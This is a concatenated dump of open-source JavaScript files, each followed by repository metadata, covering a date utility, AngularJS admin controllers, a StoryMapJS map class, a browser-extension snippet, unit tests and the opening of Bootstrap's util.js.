[matches[0], matches[3], matches[1], matches[2]]; // Pad the results to the same length as ISO8601 reordered[8] = null; matches = reordered; } } // Time-stored-in-Date hack? if (!matches) { matches = val.match(_TIME_PAT); if (matches) { reordered = [matches[0], 0, 1, 0, matches[1], matches[2], matches[3], matches[4], null]; matches = reordered; } } } // Sweet, the regex actually parsed it into something useful if (matches) { matches.shift(); // First match is entire match, DO NOT WANT off = matches.pop(); // If there's an offset (or the 'Z' non-offset offset), use UTC // methods to set everything if (off) { if (off == 'Z') { utc = true; offSeconds = 0; } else { utc = false; // Convert from extended to basic if necessary off = off.replace(/:/g, ''); // '+0000' will still be zero if (parseInt(off, 10) === 0) { utc = true; } else { posOff = off.indexOf('+') === 0; // Strip plus or minus off = off.substr(1); offHours = parseInt(off.substr(0, 2), 10); offMinutes = off.substr(2, 2); if (offMinutes) { offMinutes = parseInt(offMinutes, 10); } else { offMinutes = 0; } offSeconds = off.substr(4, 2); if (offSeconds) { offSeconds = parseInt(offSeconds, 10); } else { offSeconds = 0; } offSeconds += (offMinutes * 60) offSeconds += (offHours * 60 * 60); if (!posOff) { offSeconds = 0 - offSeconds; } } } } dt = new Date(0); // Stupid zero-based months matches[1] = parseInt(matches[1], 10) - 1; // Specific offset, iterate the array and set each date property // using UTC setters, then adjust time using offset if (off) { for (var i = matches.length - 1; i > -1; i--) { curr = parseInt(matches[i], 10) || 0; dt['setUTC' + _dateMethods[i]](curr); } // Add any offset dt.setSeconds(dt.getSeconds() - offSeconds); } // Otherwise we know nothing about the offset, just iterate the // array and set each date property using regular setters else { for (var i = matches.length - 1; i > -1; i--) { curr = parseInt(matches[i], 10) || 0; dt['set' + _dateMethods[i]](curr); } } } // Shit, last-ditch effort using Date.parse else { stamp = Date.parse(val); // Failures to parse yield NaN if (!isNaN(stamp)) { dt = new Date(stamp); } } } return dt || null; }; /** @name date#relativeTime @public @function @return {String} A string describing the amount of time ago the passed-in Date is @description Convert a Date to an English sentence representing how long ago the Date was @param {Date} dt The Date to to convert to a relative time string @param {Object} [opts] @param {Boolean} [opts.abbreviated=false] Use short strings (e.g., '<1m') for the relative-time string */ this.relativeTime = function (dt, options) { var opts = options || {} , now = opts.now || new Date() , abbr = opts.abbreviated || false , format = opts.format || '%F %T' // Diff in seconds , diff = (now.getTime() - dt.getTime()) / 1000 , ret , num , hour = 60*60 , day = 24*hour , week = 7*day , month = 30*day; switch (true) { case diff < 60: ret = abbr ? '<1m' : 'less than a minute ago'; break; case diff < 120: ret = abbr ? '1m' : 'about a minute ago'; break; case diff < (45*60): num = parseInt((diff / 60), 10); ret = abbr ? num + 'm' : num + ' minutes ago'; break; case diff < (2*hour): ret = abbr ? '1h' : 'about an hour ago'; break; case diff < (1*day): num = parseInt((diff / hour), 10); ret = abbr ? num + 'h' : 'about ' + num + ' hours ago'; break; case diff < (2*day): ret = abbr ? '1d' : 'one day ago'; break; case diff < (7*day): num = parseInt((diff / day), 10); ret = abbr ? num + 'd' : 'about ' + num + ' days ago'; break; case diff < (11*day): ret = abbr ? '1w': 'one week ago'; break; case diff < (1*month): num = Math.round(diff / week); ret = abbr ? num + 'w' : 'about ' + num + ' weeks ago'; break; default: ret = date.strftime(dt, format); break; } return ret; }; /** @name date#toISO8601 @public @function @return {String} A string describing the amount of time ago @description Convert a Date to an ISO8601-formatted string @param {Date} dt The Date to to convert to an ISO8601 string */ var _pad = function (n) { return n < 10 ? '0' + n : n; }; this.toISO8601 = function (dt, options) { var opts = options || {} , off = dt.getTimezoneOffset() , offHours , offMinutes , str = this.strftime(dt, '%F') + 'T' + this.strftime(dt, '%T') + '.' + string.lpad(dt.getMilliseconds(), '0', 3); if (opts.tz) { // Pos and neg numbers are both truthy; only // zero is falsy if (off && !opts.utc) { str += off > 0 ? '-' : '+'; offHours = parseInt(off / 60, 10); str += string.lpad(offHours, '0', 2); offMinutes = off % 60; if (offMinutes) { str += string.lpad(offMinutes, '0', 2); } } else { str += 'Z'; } } return str; }; // Alias this.toIso8601 = this.toISO8601; this.toUTC = function (dt) { return new Date( dt.getUTCFullYear() , dt.getUTCMonth() , dt.getUTCDate() , dt.getUTCHours() , dt.getUTCMinutes() , dt.getUTCSeconds() , dt.getUTCMilliseconds()); }; })(); module.exports = date;
davidatkinsondoyle/nodeio
node_modules/jake/node_modules/utilities/lib/date.js
JavaScript
gpl-3.0
28,920
/** * Resources secondary controller */ import angular from 'angular/index' import ResourcesSecondaryBaseCtrl from './ResourcesSecondaryBaseCtrl' export default class ResourcesSecondaryEditCtrl extends ResourcesSecondaryBaseCtrl { constructor(url, ResourceService, $scope, Translator, ConfirmService) { super(url, ResourceService) this.scope = $scope this.Translator = Translator this.confirmService = ConfirmService /** * Configuration for the Claroline Resource Picker * @type {object} */ this.resourcePicker = { isPickerMultiSelectAllowed: true, callback: (nodes) => { this.addResources(nodes) // Remove checked nodes for next time nodes = {} } } } addResources(resources) { if (angular.isObject(resources)) { for (let nodeId in resources) { if (resources.hasOwnProperty(nodeId)) { let node = resources[nodeId] // Initialize a new Resource object (parameters : claro type, mime type, id, name) var resource = this.ResourceService.newResource(node[1], node[2], nodeId, node[0]) if (!this.ResourceService.exists(this.resources, resource)) { // Resource is not in the list => add it this.resources.push(resource) } } } this.scope.$apply() } } /** * Delete selected resource from path * @type {object} */ removeResource(resource) { this.confirmService.open({ title: this.Translator.trans('resource_delete_title', { resourceName: resource.name }, 'path_wizards'), message: this.Translator.trans('resource_delete_confirm', {} , 'path_wizards'), confirmButton: this.Translator.trans('resource_delete', {} , 'path_wizards') }, // Confirm success callback () => { // Remove from included resources for (let i = 0; i < this.resources.length; i++) { if (resource.id === this.resources[i].id) { this.resources.splice(i, 1) break } } // Remove from excluded resources for (let j = 0; j < this.excluded.length; j++) { if (resource.id == this.excluded[j]) { this.excluded.splice(j, 1) break } } }) } /** * Toggle propagate flag * @param {object} resource */ togglePropagation(resource) { resource.propagateToChildren = !resource.propagateToChildren } /** * Toggle excluded flag * @param {object} resource */ toggleExcluded(resource) { if (resource.isExcluded) { // Include the resource for (let i = 0; i < this.excluded.length; i++) { if (resource.id == this.excluded[i]) { this.excluded.splice(i, 1) } } } else { // Exclude the resource this.excluded.push(resource.id) } resource.isExcluded = !resource.isExcluded } }
remytms/Distribution
plugin/path/Resources/modules/resource-secondary/Controller/ResourcesSecondaryEditCtrl.js
JavaScript
gpl-3.0
2,990
/* VCO.Map Makes a Map Events: markerAdded markerRemoved ================================================== */ VCO.Map = VCO.Class.extend({ includes: [VCO.Events, VCO.DomMixins], _el: {}, /* Constructor ================================================== */ initialize: function(elem, data, options) { // DOM ELEMENTS this._el = { container: {}, map: {}, map_mask: {} }; if (typeof elem === 'object') { this._el.container = elem; } else { this._el.container = VCO.Dom.get(elem); } // LOADED this._loaded = { data: false, map: false }; // MAP this._map = null; // MINI MAP this._mini_map = null; // Markers this._markers = []; // Marker Zoom Miniumum and Maximum this.zoom_min_max = { min: null, max: null }; // Line this._line = null; this._line_active = null; // Current Marker this.current_marker = 0; // Markers Bounds Array this.bounds_array = null; // Map Tiles Layer this._tile_layer = null; // Map Tiles Layer for Mini Map this._tile_layer_mini = null; // Image Layer (for zoomify) this._image_layer = null; // Data this.data = { uniqueid: "", slides: [{test:"yes"}, {test:"yes"}, {test:"yes"}] }; //Options this.options = { map_type: "stamen:toner-lite", map_as_image: false, map_mini: false, map_background_color: "#d9d9d9", map_subdomains: "", zoomify: { path: "", width: "", height: "", tolerance: 0.8, attribution: "" }, skinny_size: 650, less_bounce: true, path_gfx: "gfx", start_at_slide: 0, map_popup: false, zoom_distance: 100, calculate_zoom: true, // Allow map to determine best zoom level between markers (recommended) line_follows_path: true, // Map history path follows default line, if false it will connect previous and current only line_color: "#333", line_color_inactive: "#000", line_weight: 5, line_opacity: 0.20, line_dash: "5,5", line_join: "miter", show_lines: true, show_history_line: true, use_custom_markers: false, map_center_offset: null // takes object {top:0,left:0} }; // Animation this.animator = null; // Timer this.timer = null; // Touchpad Events this.touch_scale = 1; this.scroll = { start_time: null }; // Merge Data and Options VCO.Util.mergeData(this.options, options); VCO.Util.mergeData(this.data, data); this._initLayout(); this._initEvents(); this._createMap(); this._initData(); }, /* Public ================================================== */ updateDisplay: function(w, h, animate, d, offset) { this._updateDisplay(w, h, animate, d, offset); }, goTo: function(n, change) { if (n < this._markers.length && n >= 0) { var zoom = 0, previous_marker = this.current_marker; this.current_marker = n; var marker = this._markers[this.current_marker]; // Stop animation if (this.animator) { this.animator.stop(); } // Reset Active Markers this._resetMarkersActive(); // Check to see if it's an overview if (marker.data.type && marker.data.type == "overview") { this._markerOverview(); if (!change) { this._onMarkerChange(); } } else { // Make marker active marker.active(true); if (change) { // Set Map View if (marker.data.location) { this._viewTo(marker.data.location); } else { } } else { if (marker.data.location && marker.data.location.lat) { // Calculate Zoom zoom = this._calculateZoomChange(this._getMapCenter(true), marker.location()); // Set Map View this._viewTo(marker.data.location, {calculate_zoom: this.options.calculate_zoom, zoom:zoom}); // Show Line if (this.options.line_follows_path) { if (this.options.show_history_line && marker.data.real_marker && this._markers[previous_marker].data.real_marker) { var lines_array = [], line_num = previous_marker, point; if (line_num < this.current_marker) { while (line_num < this.current_marker) { if (this._markers[line_num].data.location && this._markers[line_num].data.location.lat) { point = { lat:this._markers[line_num].data.location.lat, lon:this._markers[line_num].data.location.lon } lines_array.push(point); } line_num++; } } else if (line_num > this.current_marker) { while (line_num > this.current_marker) { if (this._markers[line_num].data.location && this._markers[line_num].data.location.lat) { point = { lat:this._markers[line_num].data.location.lat, lon:this._markers[line_num].data.location.lon } lines_array.push(point); } line_num--; } } lines_array.push({ lat:marker.data.location.lat, lon:marker.data.location.lon }); this._replaceLines(this._line_active, lines_array); } } else { // Show Line if (this.options.show_history_line && marker.data.real_marker && this._markers[previous_marker].data.real_marker) { this._replaceLines(this._line_active, [ { lat:marker.data.location.lat, lon:marker.data.location.lon }, { lat:this._markers[previous_marker].data.location.lat, lon:this._markers[previous_marker].data.location.lon } ]) } } } else { this._markerOverview(); if (!change) { this._onMarkerChange(); } } // Fire Event this._onMarkerChange(); } } } }, panTo: function(loc, animate) { this._panTo(loc, animate); }, zoomTo: function(z, animate) { this._zoomTo(z, animate); }, viewTo: function(loc, opts) { this._viewTo(loc, opts); }, getBoundsZoom: function(m1, m2, inside, padding) { this.__getBoundsZoom(m1, m2, inside, padding); // (LatLngBounds[, Boolean, Point]) -> Number }, markerOverview: function() { this._markerOverview(); }, calculateMarkerZooms: function() { this._calculateMarkerZooms(); }, createMiniMap: function() { this._createMiniMap(); }, setMapOffset: function(left, top) { // Update Component Displays this.options.map_center_offset.left = left; this.options.map_center_offset.top = top; }, calculateMinMaxZoom: function() { for (var i = 0; i < this._markers.length; i++) { if (this._markers[i].data.location && this._markers[i].data.location.zoom) { this.updateMinMaxZoom(this._markers[i].data.location.zoom); } } trace("MAX ZOOM: " + this.zoom_min_max.max + " MIN ZOOM: " + this.zoom_min_max.min); }, updateMinMaxZoom: function(zoom) { if (!this.zoom_min_max.max) { this.zoom_min_max.max = zoom; } if (!this.zoom_min_max.min) { this.zoom_min_max.min = zoom; } if (this.zoom_min_max.max < zoom) { this.zoom_min_max.max = zoom; } if (this.zoom_min_max.min > zoom) { this.zoom_min_max.min = zoom; } }, initialMapLocation: function() { if (this._loaded.data && this._loaded.map) { this.goTo(this.options.start_at_slide, true); this._initialMapLocation(); } }, /* Adding, Hiding, Showing etc ================================================== */ show: function() { }, hide: function() { }, addTo: function(container) { container.appendChild(this._el.container); this.onAdd(); }, removeFrom: function(container) { container.removeChild(this._el.container); this.onRemove(); }, /* Adding and Removing Markers ================================================== */ createMarkers: function(array) { this._createMarkers(array) }, createMarker: function(d) { this._createMarker(d); }, _destroyMarker: function(marker) { this._removeMarker(marker); for (var i = 0; i < this._markers.length; i++) { if (this._markers[i] == marker) { this._markers.splice(i, 1); } } this.fire("markerRemoved", marker); }, _createMarkers: function(array) { for (var i = 0; i < array.length; i++) { this._createMarker(array[i]); if (array[i].location && array[i].location.lat && this.options.show_lines) { this._addToLine(this._line, array[i]); } }; }, _createLines: function(array) { }, /* Map Specific ================================================== */ /* Map Specific Create ================================================== */ // Extend this map class and use this to create the map using preferred API _createMap: function() { }, /* Mini Map Specific Create ================================================== */ // Extend this map class and use this to create the map using preferred API _createMiniMap: function() { }, /* Map Specific Marker ================================================== */ // Specific Marker Methods based on preferred Map API _createMarker: function(d) { var marker = {}; marker.on("markerclick", this._onMarkerClick); this._addMarker(marker); this._markers.push(marker); marker.marker_number = this._markers.length - 1; this.fire("markerAdded", marker); }, _addMarker: function(marker) { }, _removeMarker: function(marker) { }, _resetMarkersActive: function() { for (var i = 0; i < this._markers.length; i++) { this._markers[i].active(false); }; }, _calculateMarkerZooms: function() { }, /* Map Specific Line ================================================== */ _createLine: function(d) { return {data: d}; }, _addToLine: function(line, d) { }, _replaceLines: function(line, d) { }, _addLineToMap: function(line) { }, /* Map Specific Methods ================================================== */ _panTo: function(loc, animate) { }, _zoomTo: function(z, animate) { }, _viewTo: function(loc, opts) { }, _updateMapDisplay: function(animate, d) { }, _refreshMap: function() { }, _getMapLocation: function(m) { return {x:0, y:0}; }, _getMapZoom: function() { return 1; }, _getMapCenter: function() { return {lat:0, lng:0}; }, _getBoundsZoom: function(m1, m2, inside, padding) { }, _markerOverview: function() { }, _initialMapLocation: function() { }, /* Events ================================================== */ _onMarkerChange: function(e) { this.fire("change", {current_marker:this.current_marker}); }, _onMarkerClick: function(e) { if (this.current_marker != e.marker_number) { this.goTo(e.marker_number); } }, _onMapLoaded: function(e) { this._loaded.map = true; if (this.options.calculate_zoom) { this.calculateMarkerZooms(); } this.calculateMinMaxZoom(); if (this.options.map_mini && !VCO.Browser.touch) { this.createMiniMap(); } this.initialMapLocation(); this.fire("loaded", this.data); }, _onWheel: function(e) { // borrowed from http://jsbin.com/qiyaseza/5/edit var self = this; if (e.ctrlKey) { var s = Math.exp(-e.deltaY/100); this.touch_scale *= s; e.preventDefault(); e.stopPropagation(e); } if (!this.scroll.start_time) { this.scroll.start_time = +new Date(); }; var time_left = Math.max(40 - (+new Date() - this.scroll.start_time), 0); clearTimeout(this.scroll.timer); this.scroll.timer = setTimeout(function() { self._scollZoom(); //e.preventDefault(); //e.stopPropagation(e); }, time_left); }, _scollZoom: function(e) { var self = this, current_zoom = this._getMapZoom(); this.scroll.start_time = null; //VCO.DomUtil.addClass(this._el.container, 'vco-map-touch-zoom'); clearTimeout(this.scroll.timer); clearTimeout(this.scroll.timer_done); this.scroll.timer_done = setTimeout(function() { self._scollZoomDone(); }, 1000); this.zoomTo(Math.round(current_zoom * this.touch_scale)); }, _scollZoomDone: function(e) { //VCO.DomUtil.removeClass(this._el.container, 'vco-map-touch-zoom'); this.touch_scale = 1; }, /* Private Methods ================================================== */ _calculateZoomChange: function(origin, destination, correct_for_center) { return this._getBoundsZoom(origin, destination, correct_for_center); }, _updateDisplay: function(w, h, animate, d) { // Update Map Display this._updateMapDisplay(animate, d); }, _initLayout: function() { // Create Layout this._el.map_mask = VCO.Dom.create("div", "vco-map-mask", this._el.container); if (this.options.map_as_image) { this._el.map = VCO.Dom.create("div", "vco-map-display vco-mapimage-display", this._el.map_mask); } else { this._el.map = VCO.Dom.create("div", "vco-map-display", this._el.map_mask); } }, _initData: function() { if (this.data.slides) { this._createMarkers(this.data.slides); this._resetMarkersActive(); this._markers[this.current_marker].active(true); this._loaded.data = true; this._initialMapLocation(); } }, _initEvents: function() { var self = this; this._el.map.addEventListener('wheel', function(e) { self._onWheel(e); }); //this.on("wheel", this._onWheel, this); } });
miguelpaz/StoryMapJS
source/js/map/VCO.Map.js
JavaScript
mpl-2.0
13,603
browser.tabs.onUpdated.addListener((tabId, changeInfo, tab) => { if (!tab.url.match(/^about:/)) { browser.pageAction.show(tab.id); } });
mdn/webextensions-examples
history-deleter/background.js
JavaScript
mpl-2.0
145
'use strict'; describe('CommunitiesSvc', function() { // load the controller's module // We need to override the async translateProvider // http://angular-translate.github.io/docs/#/guide/22_unit-testing-with-angular-translate beforeEach(module('Teem', function ($provide, $translateProvider) { $provide.factory('customLoader', function ($q) { return function () { var deferred = $q.defer(); deferred.resolve({}); return deferred.promise; }; }); $translateProvider.useLoader('customLoader'); })); var CommunitiesSvc, $timeout, swellRT, communities, community, result = { community: [], project: [] }; // Initialize the controller and a mock scope beforeEach(inject(function (_CommunitiesSvc_, _$timeout_, _swellRT_) { CommunitiesSvc = _CommunitiesSvc_; $timeout = _$timeout_; swellRT = _swellRT_; })); describe('when there are communities', function() { beforeEach(function () { result.community = [ { '_id' : { '$oid' : '56e7f73fe4b0e80027a7102f'}, 'wave_id' : 'local.net/s+h6cjjUaMWeA', 'wavelet_id' : 'local.net/swl+root', 'participants' : [ 'pepe@local.net' , '@local.net'], 'root' : { 'id' : 'local.net/s+h6cjjUaMWeA', 'projects' : [ ] , '_urlId' : 'bG9jYWwubmV0L3MraDZjampVYU1XZUE' , 'description' : 'Lorem ipsum y esas cosas' , 'name' : 'Testing Community', 'type' : 'community', 'participants' : [ 'pepe@local.net'] } } ]; }); describe('and there are not projects', function() { beforeEach(function () { spyOn(swellRT, 'query').and.callFake(function(query, cb) { cb({ result: result.community }); }); }); describe('all', function () { it('should return communities',function(){ var community; CommunitiesSvc.all().then(function(cs) { communities = cs; }); // We need to trigger ProjectsSvc promise resolution $timeout.flush(); expect(communities.length).toBe(result.community.length); community = communities[0]; expect(community.type).toBe('community'); expect(community.name).toBe(result.community[0].root.name); }); it('should return communities and project count',function(){ var community; CommunitiesSvc.all({ projectCount: true}).then(function(cs) { communities = cs; }); // We need to trigger ProjectsSvc promise resolution $timeout.flush(); expect(communities.length).toBe(result.community.length); community = communities[0]; expect(community.type).toBe('community'); expect(community.name).toBe(result.community[0].root.name); }); }); }); }); describe('nameForPotTag', function() { beforeEach(function () { community = new CommunitiesSvc.CommunityReadOnly(); }); it ('should return line for pot tag', function () { var tests = [ [ '', '' ], [ 'Test', 'Test' ], [ 'Testing Community', 'Testing<br />Community'], [ '123 456 123456', '123 456<br />123456'], [ '12345678901234 12345678901234','12345678901234<br />12345678901234'], [ '12345678901234 12345678901234 123','12345678901234<br />12345678901234'], [ '12345678901234 1234567890123 123','12345678901234<br />1234567890123'], [ '12345678901234 123456789012345 123','12345678901234<br />12345678901...'], [ '123 567 901 34 123 567 901','123 567 901 34<br />123 567 901'] ]; angular.forEach(tests, function(t) { community.name = t[0]; expect(community.nameForPotTag()).toBe(t[1]); }); }); }); });
P2Pvalue/pear2pear
test/spec/services/community.js
JavaScript
agpl-3.0
3,895
/* -*- Mode: Java; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* vim: set shiftwidth=2 tabstop=2 autoindent cindent expandtab: */ /* globals PDFJS, expect, it, describe, Promise, combineUrl, waitsFor, runs */ 'use strict'; describe('api', function() { // TODO run with worker enabled var basicApiUrl = combineUrl(window.location.href, '../pdfs/basicapi.pdf'); function waitsForPromise(promise, successCallback) { var data; promise.then(function(val) { data = val; successCallback(data); }, function(error) { // Shouldn't get here. expect(false).toEqual(true); }); waitsFor(function() { return data !== undefined; }, 10000); } describe('PDFJS', function() { describe('getDocument', function() { it('creates pdf doc from URL', function() { var promise = PDFJS.getDocument(basicApiUrl); waitsForPromise(promise, function(data) { expect(true).toEqual(true); }); }); /* it('creates pdf doc from typed array', function() { // TODO }); */ }); }); describe('PDFDocument', function() { var promise = PDFJS.getDocument(basicApiUrl); var doc; waitsForPromise(promise, function(data) { doc = data; }); it('gets number of pages', function() { expect(doc.numPages).toEqual(3); }); it('gets fingerprint', function() { expect(typeof doc.fingerprint).toEqual('string'); }); it('gets page', function() { var promise = doc.getPage(1); waitsForPromise(promise, function(data) { expect(true).toEqual(true); }); }); it('gets destinations', function() { var promise = doc.getDestinations(); waitsForPromise(promise, function(data) { // TODO this seems to be broken for the test pdf }); }); it('gets outline', function() { var promise = doc.getOutline(); waitsForPromise(promise, function(outline) { // Two top level entries. expect(outline.length).toEqual(2); // Make sure some basic attributes are set. expect(outline[1].title).toEqual('Chapter 1'); expect(outline[1].items.length).toEqual(1); expect(outline[1].items[0].title).toEqual('Paragraph 1.1'); }); }); it('gets metadata', function() { var promise = doc.getMetadata(); waitsForPromise(promise, function(metadata) { expect(metadata.info['Title']).toEqual('Basic API Test'); expect(metadata.metadata.get('dc:title')).toEqual('Basic API Test'); }); }); }); describe('Page', function() { var promise = new Promise(); PDFJS.getDocument(basicApiUrl).then(function(doc) { doc.getPage(1).then(function(data) { promise.resolve(data); }); }); var page; waitsForPromise(promise, function(data) { page = data; }); it('gets ref', function() { expect(page.ref).toEqual({num: 15, gen: 0}); }); // TODO rotate // TODO viewport // TODO annotaions // TOOD text content // TODO operation list }); });
Neuralink/SVPAPP
www/pdfjs/test/unit/api_spec.js
JavaScript
apache-2.0
3,123
/// <reference path="../Libs/angular.min.js" /> /// <reference path="../Libs/angular-route.min.js" /> (function (angular) { var app = angular.module("ttidAdmClients", ['ngRoute', 'ttidAdm', 'ttidAdmUI']); function config($routeProvider, PathBase) { $routeProvider .when("/clients/list/:filter?/:page?", { controller: 'ListClientsCtrl', resolve: { clients: "idAdmClients" }, templateUrl: PathBase + '/assets/Templates.clients.list.html' }) .when("/clients/create", { controller: 'NewClientCtrl', resolve: { api: function (idAdmApi) { return idAdmApi.get(); } }, templateUrl: PathBase + '/assets/Templates.clients.new.html' }) .when("/clients/edit/:subject", { controller: 'EditClientCtrl', resolve: { clients: "idAdmClients" }, templateUrl: PathBase + '/assets/Templates.clients.edit.html' }); } config.$inject = ["$routeProvider", "PathBase"]; app.config(config); function ListClientsCtrl($scope, idAdmClients, idAdmPager, $routeParams, $location) { var model = { message : null, clients : null, pager : null, waiting : true, filter : $routeParams.filter, page : $routeParams.page || 1 }; $scope.model = model; $scope.search = function (filter) { var url = "/clients/list"; if (filter) { url += "/" + filter; } $location.url(url); }; var itemsPerPage = 10; var startItem = (model.page - 1) * itemsPerPage; idAdmClients.getClients(model.filter, startItem, itemsPerPage).then(function (result) { $scope.model.waiting = false; $scope.model.clients = result.data.items; if (result.data.items && result.data.items.length) { $scope.model.pager = new idAdmPager(result.data, itemsPerPage); } }, function (error) { $scope.model.message = error; $scope.model.waiting = false; }); } ListClientsCtrl.$inject = ["$scope", "idAdmClients", "idAdmPager", "$routeParams", "$location"]; app.controller("ListClientsCtrl", ListClientsCtrl); function NewClientCtrl($scope, idAdmClients, api, ttFeedback) { var feedback = new ttFeedback(); $scope.feedback = feedback; if (!api.links.createClient) { feedback.errors = "Create Not Supported"; return; } else { var properties = api.links.createClient.meta .map(function (item) { return { meta : item, data : item.dataType === 5 ? false : undefined }; }); $scope.properties = properties; $scope.create = function (properties) { var props = properties.map(function (item) { return { type: item.meta.type, value: item.data }; }); idAdmClients.createClient(props) .then(function (result) { $scope.last = result; feedback.message = "Create Success"; }, feedback.errorHandler); }; } } NewClientCtrl.$inject = ["$scope", "idAdmClients", "api", "ttFeedback"]; app.controller("NewClientCtrl", NewClientCtrl); function EditClientCtrl($scope, idAdmClients, $routeParams, ttFeedback, $location) { var feedback = new ttFeedback(); $scope.feedback = feedback; function loadClient() { return idAdmClients.getClient($routeParams.subject) .then(function (result) { $scope.client = result; if (!result.data.properties) { $scope.tab = 1; } }, feedback.errorHandler); }; loadClient(); $scope.setProperty = function (property) { idAdmClients.setProperty(property) .then(function () { if (property.meta.dataType !== 1) { feedback.message = property.meta.name + " Changed to: " + property.data; } else { feedback.message = property.meta.name + " Changed"; } loadClient(); }, feedback.errorHandler); }; $scope.deleteClient = function (client) { idAdmClients.deleteClient(client) .then(function () { feedback.message = "Client Deleted"; $scope.client = null; $location.path('/clients/list'); }, feedback.errorHandler); }; //Claims $scope.addClientClaim = function (claims, claim) { idAdmClients.addClientClaim(claims, claim) .then(function () { feedback.message = "Claim Added : " + claim.type + ", " + claim.value; loadClient(); }, feedback.errorHandler); }; $scope.removeClientClaim = function (claim) { idAdmClients.removeClientClaim(claim) .then(function () { feedback.message = "Claim Removed : " + claim.data.type + ", " + claim.data.value; loadClient().then(function () { $scope.claim = claim.data; }); }, feedback.errorHandler); }; //Client Secret $scope.availableHashes = { chosenHash: "SHA-512", choices:[ { id: "SHA-256", text: "SHA-256", isDefault: "false" }, { id: "SHA-512", text: "SHA-512", isDefault: "true" } ] }; function calculateClientHash (clientSecret) { var hashObj = new jsSHA( $scope.availableHashes.chosenHash, "TEXT", { numRounds: parseInt(1, 10) } ); hashObj.update(clientSecret.value); clientSecret.value = hashObj.getHash("B64"); } $scope.addClientSecret = function (clientSecrets, clientSecret) { calculateClientHash(clientSecret); idAdmClients.addClientSecret(clientSecrets, clientSecret) .then(function () { feedback.message = "Client Secret Added : " + clientSecret.type + ", " + clientSecret.value; clientSecret.type = ""; clientSecret.value = ""; loadClient(); }, feedback.errorHandler); }; $scope.removeClientSecret = function (clientSecret) { idAdmClients.removeClientSecret(clientSecret) .then(function () { feedback.message = "Client Secret Removed : " + clientSecret.data.type + ", " + clientSecret.data.value; loadClient().then(function () { $scope.clientSecret = clientSecret.data; }); }, feedback.errorHandler); }; //IdentityProviderRestriction $scope.addIdentityProviderRestriction = function (identityProviderRestrictions, identityProviderRestriction) { idAdmClients.addIdentityProviderRestriction(identityProviderRestrictions, identityProviderRestriction) .then(function () { feedback.message = "Client Provider Restriction Added : " + identityProviderRestriction.provider; loadClient(); }, feedback.errorHandler); }; $scope.removeIdentityProviderRestriction = function (identityProviderRestriction) { idAdmClients.removeIdentityProviderRestriction(identityProviderRestriction) .then(function () { feedback.message = "Client Provider Restriction Removed : " + identityProviderRestriction.provider; loadClient().then(function () { $scope.identityProviderRestriction = identityProviderRestriction.data; }); }, feedback.errorHandler); }; //PostLogoutRedirectUri $scope.addPostLogoutRedirectUri = function (postLogoutRedirectUris, postLogoutRedirectUri) { idAdmClients.addPostLogoutRedirectUri(postLogoutRedirectUris, postLogoutRedirectUri) .then(function () { feedback.message = "Client Post Logout Redirect Uri : " + postLogoutRedirectUri.uri; loadClient(); }, feedback.errorHandler); }; $scope.removePostLogoutRedirectUri = function (postLogoutRedirectUri) { idAdmClients.removePostLogoutRedirectUri(postLogoutRedirectUri) .then(function () { feedback.message = "Client Post Logout Redirect Uri Removed : " + postLogoutRedirectUri.data.uri; loadClient().then(function () { $scope.postLogoutRedirectUri = postLogoutRedirectUri.data; }); }, feedback.errorHandler); }; //RedirectUri $scope.addRedirectUri = function (redirectUris, redirectUri) { idAdmClients.addRedirectUri(redirectUris, redirectUri) .then(function () { feedback.message = "Client redirect uri : " + redirectUri.uri; loadClient(); }, feedback.errorHandler); }; $scope.removeRedirectUri = function (redirectUri) { idAdmClients.removeRedirectUri(redirectUri) .then(function () { feedback.message = "Client redirect uri removed : " + redirectUri.data.uri; loadClient().then(function () { $scope.redirectUri = redirectUri.data; }); }, feedback.errorHandler); }; //AllowedCorsOrigin $scope.addAllowedCorsOrigin = function (allowedCorsOrigins, allowedCorsOrigin) { idAdmClients.addAllowedCorsOrigin(allowedCorsOrigins, allowedCorsOrigin) .then(function () { feedback.message = "Client allowed cors : " + allowedCorsOrigin.origin; loadClient(); }, feedback.errorHandler); }; $scope.removeAllowedCorsOrigin = function (allowedCorsOrigin) { idAdmClients.removeAllowedCorsOrigin(allowedCorsOrigin) .then(function () { feedback.message = "Client allowed cors removed : " + allowedCorsOrigin.data.origin; loadClient().then(function () { $scope.allowedCorsOrigin = allowedCorsOrigin.data; }); }, feedback.errorHandler); }; //AllowedGrantType $scope.addAllowedCustomGrantType = function (grantTypes, grantType) { idAdmClients.addAllowedCustomGrantType(grantTypes, grantType) .then(function () { feedback.message = "Client grant type : " + grantType.grantType; loadClient(); }, feedback.errorHandler); }; $scope.removeAllowedCustomGrantType = function (grantType) { idAdmClients.removeAllowedCustomGrantType(grantType) .then(function () { feedback.message = "Client grant type removed : " + grantType.data.grantType; loadClient().then(function () { $scope.grantType = grantType.data; }); }, feedback.errorHandler); }; //AllowedScope $scope.addAllowedScope = function (scopes, scope) { idAdmClients.addAllowedScope(scopes, scope) .then(function () { feedback.message = "Client scope : " + scope.scope; loadClient(); }, feedback.errorHandler); }; $scope.removeAllowedScope = function (scope) { idAdmClients.removeAllowedScope(scope) .then(function () { feedback.message = "Client scope removed : " + scope.data.scope; loadClient().then(function () { $scope.allowedScope = scope.data; }); }, feedback.errorHandler); }; } EditClientCtrl.$inject = ["$scope", "idAdmClients", "$routeParams", "ttFeedback", "$location"]; app.controller("EditClientCtrl", EditClientCtrl); })(angular);
IdentityServer/IdentityServer3.Admin
source/Core/Assets/Scripts/App/ttidAdmClients.js
JavaScript
apache-2.0
13,146
import $ from 'jquery' /** * -------------------------------------------------------------------------- * Bootstrap (v4.0.0): util.js * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * -------------------------------------------------------------------------- */ const Util = (($) => { /** * ------------------------------------------------------------------------ * Private TransitionEnd Helpers * ------------------------------------------------------------------------ */ let transition = false const MAX_UID = 1000000 // Shoutout AngusCroll (https://goo.gl/pxwQGp) function toType(obj) { return {}.toString.call(obj).match(/\s([a-z]+)/i)[1].toLowerCase() } function getSpecialTransitionEndEvent() { return { bindType: transition.end, delegateType: transition.end, handle(event) { if ($(event.target).is(this)) { return event.handleObj.handler.apply(this, arguments) // eslint-disable-line prefer-rest-params } return undefined // eslint-disable-line no-undefined } } } function transitionEndTest() { if (typeof window !== 'undefined' && window.QUnit) { return false } return { end: 'transitionend' } } function transitionEndEmulator(duration) { let called = false $(this).one(Util.TRANSITION_END, () => { called = true }) setTimeout(() => { if (!called) { Util.triggerTransitionEnd(this) } }, duration) return this } function setTransitionEndSupport() { transition = transitionEndTest() 